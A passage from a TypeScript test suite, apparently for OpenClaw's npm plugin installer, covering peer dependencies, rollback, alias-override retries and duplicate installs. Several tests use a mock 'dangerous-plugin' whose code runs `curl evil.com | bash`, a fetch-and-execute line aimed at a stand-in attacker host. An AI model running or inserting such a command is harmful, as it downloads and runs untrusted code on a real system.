expect(result.ok).toBe(true);
|
|
const npmProjectRoot = resolvePluginNpmProjectDir({
|
|
npmDir: npmRoot,
|
|
packageName: "required-peer-plugin",
|
|
});
|
|
const requiredPeerPluginDir = resolveTestPluginPackageDir(npmRoot, "required-peer-plugin");
|
|
expect(fs.existsSync(path.join(npmProjectRoot, "node_modules", "openclaw"))).toBe(false);
|
|
const lockfile = JSON.parse(
|
|
fs.readFileSync(path.join(npmProjectRoot, "package-lock.json"), "utf8"),
|
|
) as {
|
|
packages?: Record<string, unknown>;
|
|
};
|
|
expect(lockfile.packages?.["node_modules/openclaw"]).toBeUndefined();
|
|
expect(
|
|
fs.lstatSync(path.join(requiredPeerPluginDir, "node_modules", "openclaw")).isSymbolicLink(),
|
|
).toBe(true);
|
|
},
|
|
);
|
|
|
|
it("repairs stale managed openclaw root packages before npm plugin installs", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
const npmProjectRoot = resolvePluginNpmProjectDir({
|
|
npmDir: npmRoot,
|
|
packageName: "@openclaw/discord",
|
|
});
|
|
fs.mkdirSync(path.join(npmProjectRoot, "node_modules", "openclaw"), { recursive: true });
|
|
fs.writeFileSync(
|
|
path.join(npmProjectRoot, "package.json"),
|
|
JSON.stringify(
|
|
{
|
|
private: true,
|
|
dependencies: {
|
|
openclaw: "2026.5.4",
|
|
},
|
|
},
|
|
null,
|
|
2,
|
|
),
|
|
"utf-8",
|
|
);
|
|
fs.writeFileSync(
|
|
path.join(npmProjectRoot, "package-lock.json"),
|
|
`${JSON.stringify(
|
|
{
|
|
lockfileVersion: 3,
|
|
packages: {
|
|
"": {
|
|
dependencies: {
|
|
openclaw: "2026.5.4",
|
|
},
|
|
},
|
|
"node_modules/openclaw": {
|
|
version: "2026.5.4",
|
|
resolved: "https://registry.npmjs.org/openclaw/-/openclaw-2026.5.4.tgz",
|
|
},
|
|
},
|
|
dependencies: {
|
|
openclaw: {
|
|
version: "2026.5.4",
|
|
},
|
|
},
|
|
},
|
|
null,
|
|
2,
|
|
)}\n`,
|
|
"utf-8",
|
|
);
|
|
fs.writeFileSync(
|
|
path.join(npmProjectRoot, "node_modules", "openclaw", "package.json"),
|
|
JSON.stringify({
|
|
name: "openclaw",
|
|
version: "2026.5.4",
|
|
}),
|
|
"utf-8",
|
|
);
|
|
|
|
mockNpmViewAndInstall({
|
|
spec: "@openclaw/discord@beta",
|
|
packageName: "@openclaw/discord",
|
|
version: "2026.5.5-beta.1",
|
|
pluginId: "discord",
|
|
npmRoot,
|
|
peerDependencies: { openclaw: ">=2026.5.5-beta.1" },
|
|
expectedDependencySpec: "2026.5.5-beta.1",
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/discord@beta",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
const manifest = JSON.parse(
|
|
fs.readFileSync(path.join(npmProjectRoot, "package.json"), "utf8"),
|
|
) as { dependencies?: Record<string, string> };
|
|
expect(manifest.dependencies).not.toHaveProperty("openclaw");
|
|
expect(manifest.dependencies?.["@openclaw/discord"]).toBe("2026.5.5-beta.1");
|
|
const lockfile = JSON.parse(
|
|
fs.readFileSync(path.join(npmProjectRoot, "package-lock.json"), "utf8"),
|
|
) as {
|
|
packages?: Record<string, unknown>;
|
|
dependencies?: Record<string, unknown>;
|
|
};
|
|
expect(lockfile.packages?.["node_modules/openclaw"]).toBeUndefined();
|
|
expect(lockfile.dependencies?.openclaw).toBeUndefined();
|
|
});
|
|
|
|
it("preserves the active host openclaw runtime package during npm plugin installs", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
const hostPackageRoot = path.join(npmRoot, "node_modules", "openclaw");
|
|
fs.mkdirSync(hostPackageRoot, { recursive: true });
|
|
fs.writeFileSync(
|
|
path.join(npmRoot, "package.json"),
|
|
JSON.stringify(
|
|
{
|
|
private: true,
|
|
dependencies: {
|
|
openclaw: "2026.5.12-beta.6",
|
|
},
|
|
},
|
|
null,
|
|
2,
|
|
),
|
|
"utf-8",
|
|
);
|
|
fs.writeFileSync(
|
|
path.join(npmRoot, "package-lock.json"),
|
|
`${JSON.stringify(
|
|
{
|
|
lockfileVersion: 3,
|
|
packages: {
|
|
"": {
|
|
dependencies: {
|
|
openclaw: "2026.5.12-beta.6",
|
|
},
|
|
},
|
|
"node_modules/openclaw": {
|
|
version: "2026.5.12-beta.6",
|
|
},
|
|
},
|
|
},
|
|
null,
|
|
2,
|
|
)}\n`,
|
|
"utf-8",
|
|
);
|
|
fs.writeFileSync(
|
|
path.join(hostPackageRoot, "package.json"),
|
|
JSON.stringify({
|
|
name: "openclaw",
|
|
version: "2026.5.12-beta.6",
|
|
}),
|
|
"utf-8",
|
|
);
|
|
|
|
resolveOpenClawPackageRootSyncMock.mockReturnValue(hostPackageRoot);
|
|
mockNpmViewAndInstall({
|
|
spec: "@xdarkicex/openclaw-memory-libravdb@1.4.69",
|
|
packageName: "@xdarkicex/openclaw-memory-libravdb",
|
|
version: "1.4.69",
|
|
pluginId: "libravdb-memory",
|
|
npmRoot,
|
|
expectedDependencySpec: "1.4.69",
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@xdarkicex/openclaw-memory-libravdb@1.4.69",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
if (!result.ok) {
|
|
return;
|
|
}
|
|
const baseManifest = JSON.parse(
|
|
fs.readFileSync(path.join(npmRoot, "package.json"), "utf8"),
|
|
) as { dependencies?: Record<string, string> };
|
|
expect(baseManifest.dependencies?.openclaw).toBe("2026.5.12-beta.6");
|
|
expect(baseManifest.dependencies?.["@xdarkicex/openclaw-memory-libravdb"]).toBeUndefined();
|
|
const npmProjectRoot = resolvePluginNpmProjectDir({
|
|
npmDir: npmRoot,
|
|
packageName: "@xdarkicex/openclaw-memory-libravdb",
|
|
});
|
|
const projectManifest = JSON.parse(
|
|
fs.readFileSync(path.join(npmProjectRoot, "package.json"), "utf8"),
|
|
) as { dependencies?: Record<string, string> };
|
|
expect(projectManifest.dependencies?.["@xdarkicex/openclaw-memory-libravdb"]).toBe("1.4.69");
|
|
expect(fs.existsSync(hostPackageRoot)).toBe(true);
|
|
expect(result.targetDir).toBe(
|
|
resolveTestPluginPackageDir(npmRoot, "@xdarkicex/openclaw-memory-libravdb"),
|
|
);
|
|
expect(
|
|
runCommandWithTimeoutMock.mock.calls.some(
|
|
([argv]) =>
|
|
Array.isArray(argv) &&
|
|
argv[0] === "npm" &&
|
|
argv[1] === "uninstall" &&
|
|
argv.includes("openclaw"),
|
|
),
|
|
).toBe(false);
|
|
});
|
|
|
|
it("treats dangerouslyForceUnsafeInstall as a no-op for npm-spec installs", async () => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
const warnings: string[] = [];
|
|
mockNpmViewAndInstall({
|
|
spec: "dangerous-plugin@1.0.0",
|
|
packageName: "dangerous-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "dangerous-plugin",
|
|
npmRoot,
|
|
indexJs: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`,
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "dangerous-plugin@1.0.0",
|
|
dangerouslyForceUnsafeInstall: true,
|
|
npmDir: npmRoot,
|
|
logger: {
|
|
info: () => {},
|
|
warn: (msg: string) => warnings.push(msg),
|
|
},
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
expect(warnings).toStrictEqual([]);
|
|
expectNpmInstallIntoProject({
|
|
calls: runCommandWithTimeoutMock.mock.calls,
|
|
npmRoot,
|
|
packageName: "dangerous-plugin",
|
|
});
|
|
});
|
|
|
|
it("rolls back the managed npm root when npm install fails", async () => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
const npmProjectRoot = resolvePluginNpmProjectDir({
|
|
npmDir: npmRoot,
|
|
packageName: "@openclaw/voice-call",
|
|
});
|
|
runCommandWithTimeoutMock.mockImplementation(
|
|
async (argv: string[], options?: { cwd?: string }) => {
|
|
if (JSON.stringify(argv) === JSON.stringify(npmViewArgv("@openclaw/voice-call@0.0.1"))) {
|
|
return successfulSpawn(
|
|
JSON.stringify({
|
|
name: "@openclaw/voice-call",
|
|
version: "0.0.1",
|
|
dist: {
|
|
integrity: "sha512-plugin-test",
|
|
shasum: "pluginshasum",
|
|
},
|
|
}),
|
|
);
|
|
}
|
|
if (isNpmPeerPlannerInstallCommand(argv)) {
|
|
const npmRootLocal = options?.cwd;
|
|
if (!npmRootLocal) {
|
|
throw new Error(`unexpected npm peer planner command: ${argv.join(" ")}`);
|
|
}
|
|
const manifest = JSON.parse(
|
|
fs.readFileSync(path.join(npmRootLocal, "package.json"), "utf8"),
|
|
) as {
|
|
dependencies?: Record<string, string>;
|
|
};
|
|
writeNpmRootPackageLock({
|
|
npmRoot: npmRootLocal,
|
|
dependencies: manifest.dependencies ?? {},
|
|
packages: [],
|
|
});
|
|
return successfulSpawn();
|
|
}
|
|
if (isManagedNpmInstallCommand(argv)) {
|
|
return {
|
|
code: 1,
|
|
stdout: "",
|
|
stderr: "registry unavailable",
|
|
signal: null,
|
|
killed: false,
|
|
termination: "exit" as const,
|
|
};
|
|
}
|
|
if (argv[0] === "npm" && argv[1] === "uninstall") {
|
|
if (!(argv as string[]).includes("--legacy-peer-deps")) {
|
|
fs.mkdirSync(path.join(options?.cwd ?? npmRoot, "node_modules", "openclaw"), {
|
|
recursive: true,
|
|
});
|
|
}
|
|
return successfulSpawn("");
|
|
}
|
|
throw new Error(`unexpected command: ${(argv as string[]).join(" ")}`);
|
|
},
|
|
);
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call@0.0.1",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
if (!result.ok) {
|
|
expect(result.error).toContain("registry unavailable");
|
|
}
|
|
await expect(
|
|
fs.promises.access(path.join(npmProjectRoot, "package.json")),
|
|
).rejects.toHaveProperty("code", "ENOENT");
|
|
await expect(
|
|
fs.promises.access(path.join(npmProjectRoot, "node_modules", "openclaw")),
|
|
).rejects.toHaveProperty("code", "ENOENT");
|
|
});
|
|
|
|
it("does not fail rollback snapshots on plugin-local openclaw peer symlinks", async () => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
const npmProjectRoot = resolvePluginNpmProjectDir({
|
|
npmDir: npmRoot,
|
|
packageName: "@openclaw/codex",
|
|
});
|
|
fs.mkdirSync(npmProjectRoot, { recursive: true });
|
|
fs.writeFileSync(
|
|
path.join(npmProjectRoot, "package.json"),
|
|
`${JSON.stringify(
|
|
{
|
|
private: true,
|
|
dependencies: {
|
|
"@openclaw/codex": "0.0.1",
|
|
},
|
|
},
|
|
null,
|
|
2,
|
|
)}\n`,
|
|
"utf8",
|
|
);
|
|
writeNpmRootPackageLock({
|
|
npmRoot: npmProjectRoot,
|
|
dependencies: { "@openclaw/codex": "0.0.1" },
|
|
packages: [
|
|
{
|
|
packageName: "@openclaw/codex",
|
|
version: "0.0.1",
|
|
npmRoot: npmProjectRoot,
|
|
},
|
|
],
|
|
});
|
|
const hostRoot = suiteTempRootTracker.makeTempDir();
|
|
fs.writeFileSync(
|
|
path.join(hostRoot, "package.json"),
|
|
`${JSON.stringify({ name: "openclaw", version: "0.0.0-test" }, null, 2)}\n`,
|
|
"utf8",
|
|
);
|
|
resolveOpenClawPackageRootSyncMock.mockReturnValue(hostRoot);
|
|
const installedDir = writeInstalledNpmPlugin({
|
|
npmRoot: npmProjectRoot,
|
|
packageName: "@openclaw/codex",
|
|
version: "0.0.1",
|
|
peerDependencies: { openclaw: "*" },
|
|
});
|
|
const peerLink = path.join(installedDir, "node_modules", "openclaw");
|
|
fs.mkdirSync(path.dirname(peerLink), { recursive: true });
|
|
fs.symlinkSync(hostRoot, peerLink, "junction");
|
|
|
|
const originalCp = fs.promises.cp.bind(fs.promises);
|
|
const cpSpy = vi.spyOn(fs.promises, "cp").mockImplementation(async (...args: unknown[]) => {
|
|
const [source, destination, options] = args as [
|
|
string,
|
|
string,
|
|
{ filter?: (source: string, destination: string) => boolean | Promise<boolean> },
|
|
];
|
|
const nodeModulesDir = path.join(npmProjectRoot, "node_modules");
|
|
if (source === nodeModulesDir && fs.existsSync(peerLink)) {
|
|
const destinationPeerLink = path.join(
|
|
destination,
|
|
"@openclaw",
|
|
"codex",
|
|
"node_modules",
|
|
"openclaw",
|
|
);
|
|
const shouldCopyPeerLink = options.filter
|
|
? await options.filter(peerLink, destinationPeerLink)
|
|
: true;
|
|
if (shouldCopyPeerLink) {
|
|
throw Object.assign(
|
|
new Error(
|
|
`EPERM: operation not permitted, symlink '${peerLink}' -> '${destinationPeerLink}'`,
|
|
),
|
|
{ code: "EPERM" },
|
|
);
|
|
}
|
|
}
|
|
return await originalCp(...(args as Parameters<typeof fs.promises.cp>));
|
|
});
|
|
runCommandWithTimeoutMock.mockImplementation(
|
|
async (argv: string[], options?: { cwd?: string }) => {
|
|
if (JSON.stringify(argv) === JSON.stringify(npmViewArgv("@openclaw/codex@0.0.2"))) {
|
|
return successfulSpawn(
|
|
JSON.stringify({
|
|
name: "@openclaw/codex",
|
|
version: "0.0.2",
|
|
dist: {
|
|
integrity: "sha512-plugin-test",
|
|
shasum: "pluginshasum",
|
|
},
|
|
}),
|
|
);
|
|
}
|
|
if (isNpmPeerPlannerInstallCommand(argv)) {
|
|
const npmRootLocal = options?.cwd;
|
|
if (!npmRootLocal) {
|
|
throw new Error(`unexpected npm peer planner command: ${argv.join(" ")}`);
|
|
}
|
|
const manifest = JSON.parse(
|
|
fs.readFileSync(path.join(npmRootLocal, "package.json"), "utf8"),
|
|
) as {
|
|
dependencies?: Record<string, string>;
|
|
};
|
|
writeNpmRootPackageLock({
|
|
npmRoot: npmRootLocal,
|
|
dependencies: manifest.dependencies ?? {},
|
|
packages: [
|
|
{
|
|
packageName: "@openclaw/codex",
|
|
version: "0.0.1",
|
|
npmRoot: npmRootLocal,
|
|
},
|
|
],
|
|
});
|
|
return successfulSpawn();
|
|
}
|
|
if (isManagedNpmInstallCommand(argv)) {
|
|
return {
|
|
code: 1,
|
|
stdout: "",
|
|
stderr: "registry unavailable",
|
|
signal: null,
|
|
killed: false,
|
|
termination: "exit" as const,
|
|
};
|
|
}
|
|
throw new Error(`unexpected command: ${(argv as string[]).join(" ")}`);
|
|
},
|
|
);
|
|
|
|
try {
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/codex@0.0.2",
|
|
npmDir: npmRoot,
|
|
mode: "update",
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
if (!result.ok) {
|
|
expect(result.error).toContain("registry unavailable");
|
|
expect(result.error).not.toContain("Failed to snapshot");
|
|
}
|
|
await expect(fs.promises.realpath(peerLink)).resolves.toBe(
|
|
await fs.promises.realpath(hostRoot),
|
|
);
|
|
} finally {
|
|
cpSpy.mockRestore();
|
|
}
|
|
});
|
|
|
|
it("retries without npm alias overrides when npm rejects alias comparators", async () => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
const hostRoot = suiteTempRootTracker.makeTempDir();
|
|
fs.writeFileSync(
|
|
path.join(hostRoot, "package.json"),
|
|
`${JSON.stringify(
|
|
{
|
|
name: "openclaw",
|
|
},
|
|
null,
|
|
2,
|
|
)}\n`,
|
|
"utf8",
|
|
);
|
|
fs.writeFileSync(
|
|
path.join(hostRoot, "pnpm-workspace.yaml"),
|
|
[
|
|
"overrides:",
|
|
" axios: 1.16.0",
|
|
' node-domexception: "npm:@nolyfill/domexception@1.0.28"',
|
|
" nested:",
|
|
' alias: "npm:@scope/alias@1.0.0"',
|
|
" semver: 1.2.3",
|
|
"",
|
|
].join("\n"),
|
|
"utf8",
|
|
);
|
|
resolveOpenClawPackageRootSyncMock.mockReturnValue(hostRoot);
|
|
mockNpmViewAndInstall({
|
|
spec: "@openclaw/voice-call@0.0.1",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "0.0.1",
|
|
pluginId: "voice-call",
|
|
npmRoot,
|
|
});
|
|
const baseImplementation = runCommandWithTimeoutMock.getMockImplementation();
|
|
let installAttempts = 0;
|
|
runCommandWithTimeoutMock.mockImplementation(
|
|
async (argv: string[], options?: { cwd?: string }) => {
|
|
if (isManagedNpmInstallCommand(argv)) {
|
|
installAttempts += 1;
|
|
const npmProjectRoot = options?.cwd;
|
|
if (!npmProjectRoot) {
|
|
throw new Error("expected npm install cwd");
|
|
}
|
|
const manifest = JSON.parse(
|
|
fs.readFileSync(path.join(npmProjectRoot, "package.json"), "utf8"),
|
|
) as { overrides?: Record<string, unknown>; openclaw?: { managedOverrides?: string[] } };
|
|
if (installAttempts === 1) {
|
|
expect(manifest.overrides?.["node-domexception"]).toBe(
|
|
"npm:@nolyfill/domexception@1.0.28",
|
|
);
|
|
expect(manifest.openclaw?.managedOverrides).toEqual([
|
|
"axios",
|
|
"nested",
|
|
"node-domexception",
|
|
]);
|
|
return {
|
|
code: 1,
|
|
stdout: "",
|
|
stderr: "npm ERR! Invalid comparator: npm:@nolyfill/domexception@1.0.28",
|
|
signal: null,
|
|
killed: false,
|
|
termination: "exit" as const,
|
|
};
|
|
}
|
|
expect(manifest.overrides).toEqual({
|
|
axios: "1.16.0",
|
|
nested: {
|
|
semver: "1.2.3",
|
|
},
|
|
});
|
|
expect(manifest.openclaw?.managedOverrides).toEqual(["axios", "nested"]);
|
|
}
|
|
return await baseImplementation?.(argv, options);
|
|
},
|
|
);
|
|
|
|
const warnings: string[] = [];
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call@0.0.1",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: (message) => warnings.push(message) },
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
expect(installAttempts).toBe(2);
|
|
expect(warnings).toContain(
|
|
"npm rejected managed npm alias overrides; retrying plugin install without alias overrides for this npm version.",
|
|
);
|
|
});
|
|
|
|
it("keeps installed npm package output when dangerous-looking plugin code is present", async () => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
mockNpmViewAndInstall({
|
|
spec: "dangerous-plugin@1.0.0",
|
|
packageName: "dangerous-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "dangerous-plugin",
|
|
npmRoot,
|
|
indexJs: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`,
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "dangerous-plugin@1.0.0",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, "dangerous-plugin"))).toBe(true);
|
|
const npmProjectRoot = resolvePluginNpmProjectDir({
|
|
npmDir: npmRoot,
|
|
packageName: "dangerous-plugin",
|
|
});
|
|
await expect(
|
|
fs.promises.access(path.join(npmProjectRoot, "package.json")),
|
|
).resolves.toBeUndefined();
|
|
});
|
|
|
|
it("leaves a stale legacy shared npm root untouched when a per-plugin update succeeds", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
const legacyNodeModulesRoot = path.join(npmRoot, "node_modules");
|
|
const legacyPackageRoot = path.join(legacyNodeModulesRoot, "legacy-shared");
|
|
const npmProjectRoot = resolvePluginNpmProjectDir({
|
|
npmDir: npmRoot,
|
|
packageName: "dangerous-plugin",
|
|
});
|
|
fs.mkdirSync(legacyPackageRoot, { recursive: true });
|
|
fs.writeFileSync(
|
|
path.join(npmRoot, "package.json"),
|
|
`${JSON.stringify(
|
|
{
|
|
private: true,
|
|
dependencies: {
|
|
"legacy-shared": "1.0.0",
|
|
},
|
|
},
|
|
null,
|
|
2,
|
|
)}\n`,
|
|
"utf8",
|
|
);
|
|
fs.writeFileSync(
|
|
path.join(npmRoot, "package-lock.json"),
|
|
`${JSON.stringify(
|
|
{
|
|
lockfileVersion: 3,
|
|
packages: {
|
|
"": {
|
|
dependencies: {
|
|
"legacy-shared": "1.0.0",
|
|
},
|
|
},
|
|
"node_modules/legacy-shared": {
|
|
version: "1.0.0",
|
|
},
|
|
},
|
|
},
|
|
null,
|
|
2,
|
|
)}\n`,
|
|
"utf8",
|
|
);
|
|
fs.writeFileSync(
|
|
path.join(legacyPackageRoot, "package.json"),
|
|
`${JSON.stringify({ name: "legacy-shared", version: "1.0.0" }, null, 2)}\n`,
|
|
"utf8",
|
|
);
|
|
fs.writeFileSync(path.join(legacyPackageRoot, "marker.txt"), "legacy state\n", "utf8");
|
|
|
|
fs.mkdirSync(npmProjectRoot, { recursive: true });
|
|
fs.writeFileSync(
|
|
path.join(npmProjectRoot, "package.json"),
|
|
`${JSON.stringify(
|
|
{
|
|
private: true,
|
|
dependencies: {
|
|
"dangerous-plugin": "1.0.0",
|
|
},
|
|
},
|
|
null,
|
|
2,
|
|
)}\n`,
|
|
"utf8",
|
|
);
|
|
writeNpmRootPackageLock({
|
|
npmRoot: npmProjectRoot,
|
|
dependencies: { "dangerous-plugin": "1.0.0" },
|
|
packages: [
|
|
{
|
|
packageName: "dangerous-plugin",
|
|
version: "1.0.0",
|
|
npmRoot: npmProjectRoot,
|
|
integrity: "sha512-safe-plugin",
|
|
},
|
|
],
|
|
});
|
|
writeInstalledNpmPlugin({
|
|
packageName: "dangerous-plugin",
|
|
version: "1.0.0",
|
|
pluginId: "dangerous-plugin",
|
|
npmRoot: npmProjectRoot,
|
|
indexJs: "export const ok = true;",
|
|
});
|
|
fs.writeFileSync(path.join(npmProjectRoot, "project-marker.txt"), "project state\n", "utf8");
|
|
|
|
const legacyManifestBefore = fs.readFileSync(path.join(npmRoot, "package.json"), "utf8");
|
|
const legacyLockfileBefore = fs.readFileSync(path.join(npmRoot, "package-lock.json"), "utf8");
|
|
const legacyNodeModulesBefore = readTextFileTree(legacyNodeModulesRoot);
|
|
mockNpmViewAndInstall({
|
|
spec: "dangerous-plugin@2.0.0",
|
|
packageName: "dangerous-plugin",
|
|
version: "2.0.0",
|
|
pluginId: "dangerous-plugin",
|
|
npmRoot,
|
|
expectedDependencySpec: "2.0.0",
|
|
indexJs: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`,
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "dangerous-plugin@2.0.0",
|
|
npmDir: npmRoot,
|
|
mode: "update",
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
if (!result.ok) {
|
|
return;
|
|
}
|
|
expectNpmInstallIntoProject({
|
|
calls: runCommandWithTimeoutMock.mock.calls,
|
|
npmRoot,
|
|
packageName: "dangerous-plugin",
|
|
});
|
|
expect(fs.readFileSync(path.join(npmRoot, "package.json"), "utf8")).toBe(legacyManifestBefore);
|
|
expect(fs.readFileSync(path.join(npmRoot, "package-lock.json"), "utf8")).toBe(
|
|
legacyLockfileBefore,
|
|
);
|
|
expect(readTextFileTree(legacyNodeModulesRoot)).toEqual(legacyNodeModulesBefore);
|
|
expect(fs.existsSync(path.join(legacyNodeModulesRoot, "dangerous-plugin"))).toBe(false);
|
|
});
|
|
|
|
const officialLaunchPluginCases = [
|
|
{
|
|
spec: "@openclaw/acpx",
|
|
pluginId: "acpx",
|
|
indexJs: `import { spawn } from "node:child_process";\nspawn("codex-acp", []);`,
|
|
},
|
|
{
|
|
spec: "@openclaw/codex",
|
|
pluginId: "codex",
|
|
indexJs: `import { spawn } from "node:child_process";\nspawn("codex", ["app-server"]);`,
|
|
},
|
|
{
|
|
spec: "@openclaw/google-meet",
|
|
pluginId: "google-meet",
|
|
indexJs: `import { spawnSync } from "node:child_process";\nspawnSync("node", ["bridge.js"]);`,
|
|
},
|
|
{
|
|
spec: "@openclaw/voice-call",
|
|
pluginId: "voice-call",
|
|
indexJs: `import { spawn } from "node:child_process";\nspawn("ngrok", ["http", "3000"]);`,
|
|
},
|
|
];
|
|
|
|
it.each(officialLaunchPluginCases)(
|
|
"allows direct official npm plugin $spec with launch code without source provenance",
|
|
async ({ spec, pluginId, indexJs }) => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
const warnings: string[] = [];
|
|
mockNpmViewAndInstall({
|
|
spec,
|
|
packageName: spec,
|
|
version: "2026.5.2",
|
|
pluginId,
|
|
npmRoot,
|
|
indexJs,
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec,
|
|
npmDir: npmRoot,
|
|
logger: {
|
|
info: () => {},
|
|
warn: (msg: string) => warnings.push(msg),
|
|
},
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
if (!result.ok) {
|
|
return;
|
|
}
|
|
expect(fs.existsSync(resolveTestPluginPackageDir(npmRoot, spec))).toBe(true);
|
|
expect(
|
|
warnings.some((warning) =>
|
|
warning.includes("allowed because it is an official OpenClaw package"),
|
|
),
|
|
).toBe(false);
|
|
},
|
|
);
|
|
|
|
it.each(officialLaunchPluginCases)(
|
|
"allows source-linked official npm plugin $spec with reviewed launch code",
|
|
async ({ spec, pluginId, indexJs }) => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
const warnings: string[] = [];
|
|
mockNpmViewAndInstall({
|
|
spec,
|
|
packageName: spec,
|
|
version: "2026.5.2",
|
|
pluginId,
|
|
npmRoot,
|
|
indexJs,
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec,
|
|
npmDir: npmRoot,
|
|
expectedPluginId: pluginId,
|
|
trustedSourceLinkedOfficialInstall: true,
|
|
logger: {
|
|
info: () => {},
|
|
warn: (msg: string) => warnings.push(msg),
|
|
},
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
if (!result.ok) {
|
|
return;
|
|
}
|
|
expect(result.pluginId).toBe(pluginId);
|
|
expect(warnings.join("\n")).not.toContain("installation blocked");
|
|
expectNpmInstallIntoProject({
|
|
calls: runCommandWithTimeoutMock.mock.calls,
|
|
npmRoot,
|
|
packageName: spec,
|
|
});
|
|
},
|
|
);
|
|
|
|
it("rejects non-registry npm specs", async () => {
|
|
const result = await installPluginFromNpmSpec({ spec: "github:evil/evil" });
|
|
expect(result.ok).toBe(false);
|
|
if (!result.ok) {
|
|
expect(result.error).toContain("unsupported npm spec");
|
|
expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.INVALID_NPM_SPEC);
|
|
}
|
|
});
|
|
|
|
it("rejects duplicate npm installs unless update mode is requested", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
const installRoot = resolveTestPluginPackageDir(npmRoot, "@openclaw/voice-call");
|
|
fs.mkdirSync(installRoot, { recursive: true });
|
|
mockNpmViewMetadataResult(runCommandWithTimeoutMock, {
|
|
name: "@openclaw/voice-call",
|
|
version: "0.0.1",
|
|
integrity: "sha512-plugin-test",
|
|
shasum: "pluginshasum",
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call@0.0.1",
|
|
npmDir: npmRoot,
|
|
mode: "install",
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
if (!result.ok) {
|
|
expect(result.error).toContain("plugin already exists");
|
|
expect(result.error).toContain(installRoot);
|
|
}
|
|
expect(
|
|
runCommandWithTimeoutMock.mock.calls.some(
|
|
(call) => Array.isArray(call[0]) && call[0][0] === "npm" && call[0][1] === "install",
|
|
),
|
|
).toBe(false);
|
|
});
|
|
|
|
it("allows duplicate npm installs in update mode", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
const installRoot = resolveTestPluginPackageDir(npmRoot, "@openclaw/voice-call");
|
|
fs.mkdirSync(installRoot, { recursive: true });
|
|
fs.writeFileSync(path.join(installRoot, "old.txt"), "old", "utf-8");
|
|
mockNpmViewAndInstall({
|
|
spec: "@openclaw/voice-call@0.0.2",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "0.0.2",
|
|
pluginId: "voice-call",
|
|
npmRoot,
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call@0.0.2",
|
|
npmDir: npmRoot,
|
|
mode: "update",
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
if (!result.ok) {
|
|
throw new Error(result.error);
|
|
}
|
|
expect(result.targetDir).toBe(installRoot);
|
|
expect(result.npmResolution?.version).toBe("0.0.2");
|
|
expectNpmInstallIntoProject({
|
|
calls: runCommandWithTimeoutMock.mock.calls,
|
|
npmRoot,
|
|
packageName: "@openclaw/voice-call",
|
|
});
|
|
});
|
|
|
|
it("preserves previously installed sibling plugins during npm install", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
spec: "@openclaw/voice-call@0.0.1",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "0.0.1",
|
|
pluginId: "voice-call",
|
|
npmRoot,
|
|
},
|
|
{
